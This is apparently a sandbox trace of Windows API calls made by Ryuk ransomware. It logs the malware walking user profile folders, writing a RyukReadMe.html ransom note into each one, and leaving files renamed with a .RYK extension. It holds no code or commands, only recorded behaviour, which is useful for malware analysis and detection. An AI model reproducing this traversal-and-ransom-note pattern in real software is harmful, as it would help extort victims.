	[0266.843] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\Low\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4c55e890, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c55e890, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1dc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29efe0
	[0266.843] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4c55e890, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c55e890, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1dc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0266.844] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x1dc, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0266.844] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54ad19f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x54ad19f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1dc, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 1
	[0266.844] SetLastError (dwErrCode=0x0) 
	[0266.844] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\Low\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\history\\low\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x98c
	[0266.844] GetLastError () returned 0xb7
	[0266.844] CloseHandle (hObject=0x98c) returned 1
	[0266.844] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\Low\\History.IE5\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54ad19f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x54ad19f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29eec0
	[0266.845] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54ad19f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x54ad19f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0266.845] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x1e4, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0266.845] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4f0b6db0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f0b6db0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x531d32f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x8122, dwReserved0=0x1e4, dwReserved1=0x0, cFileName="index.dat.RYK", cAlternateFileName="INDEXD~1.RYK")) returned 1
	[0266.845] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45c34df0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x6b2ffad0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x6b2ffad0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e4, dwReserved1=0x0, cFileName="MSHist012017071220170713", cAlternateFileName="MSHIST~1")) returned 1
	[0266.845] SetLastError (dwErrCode=0x0) 
	[0266.845] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\Low\\History.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\history\\low\\history.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x990
	[0266.845] GetLastError () returned 0xb7
	[0266.845] CloseHandle (hObject=0x990) returned 1
	[0266.846] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\*.*", lpFindFileData=0x10b3e0 | out: lpFindFileData=0x10b3e0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1fc, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="", cAlternateFileName="cation Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microso杄眙")) returned 0xffffffffffffffff
	[0266.846] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0266.846] SetLastError (dwErrCode=0x0) 
	[0266.846] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\history\\low\\history.ie5\\mshist012017071220170713\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.846] GetLastError () returned 0x3
	[0266.846] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0) returned 0
	[0266.846] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.846] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52c78170, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x52c78170, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x52c78170, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1e4, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0266.846] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52c78170, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x52c78170, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x52c78170, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1e4, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0266.846] FindClose (in: hFindFile=0x29eec0 | out: hFindFile=0x29eec0) returned 1
	[0266.846] SetLastError (dwErrCode=0x0) 
	[0266.847] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\Low\\History.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\history\\low\\history.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x98c
	[0266.847] GetLastError () returned 0xb7
	[0266.847] CloseHandle (hObject=0x98c) returned 1
	[0266.847] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4c55e890, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4c55e890, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c55e890, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1dc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0266.847] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4c55e890, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4c55e890, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c55e890, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1dc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0266.847] FindClose (in: hFindFile=0x29efe0 | out: hFindFile=0x29efe0) returned 1
	[0266.847] SetLastError (dwErrCode=0x0) 
	[0266.847] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\Low\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\history\\low\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x988
	[0266.848] GetLastError () returned 0xb7
	[0266.848] CloseHandle (hObject=0x988) returned 1
	[0266.848] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4c5125d0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4c5125d0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c538730, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0266.848] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4c5125d0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4c5125d0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c538730, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0266.848] FindClose (in: hFindFile=0x29ef80 | out: hFindFile=0x29ef80) returned 1
	[0266.848] SetLastError (dwErrCode=0x0) 
	[0266.848] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x984
	[0266.849] GetLastError () returned 0xb7
	[0266.849] CloseHandle (hObject=0x984) returned 1
	[0266.849] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5c96cc10, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c96cc10, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="Ringtones", cAlternateFileName="RINGTO~1")) returned 1
	[0266.849] SetLastError (dwErrCode=0x0) 
	[0266.849] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x984
	[0266.849] GetLastError () returned 0xb7
	[0266.849] CloseHandle (hObject=0x984) returned 1
	[0266.849] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Ringtones\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5c96cc10, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c96cc10, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1cc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef80
	[0266.850] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5c96cc10, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c96cc10, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0266.850] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5c96cc10, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x5c96cc10, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c992d70, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0266.850] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5c96cc10, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x5c96cc10, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c992d70, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0266.850] FindClose (in: hFindFile=0x29ef80 | out: hFindFile=0x29ef80) returned 1
	[0266.850] SetLastError (dwErrCode=0x0) 
	[0266.850] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Ringtones\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ringtones\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x984
	[0266.851] GetLastError () returned 0xb7
	[0266.851] CloseHandle (hObject=0x984) returned 1
	[0266.851] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5c626dd0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x5c626dd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c626dd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0266.851] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x69ba42f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x69ba42f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1
	[0266.851] SetLastError (dwErrCode=0x0) 
	[0266.851] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x984
	[0266.851] GetLastError () returned 0xb7
	[0266.851] CloseHandle (hObject=0x984) returned 1
	[0266.852] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x69ba42f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x69ba42f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1cc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef80
	[0266.852] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x69ba42f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x69ba42f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0266.852] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="Content.IE5", cAlternateFileName="")) returned 1
	[0266.852] SetLastError (dwErrCode=0x0) 
	[0266.852] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x988
	[0266.852] GetLastError () returned 0xb7
	[0266.852] CloseHandle (hObject=0x988) returned 1
	[0266.853] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29efe0
	[0266.853] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0266.853] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e570c75, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0266.853] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x49da51a0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
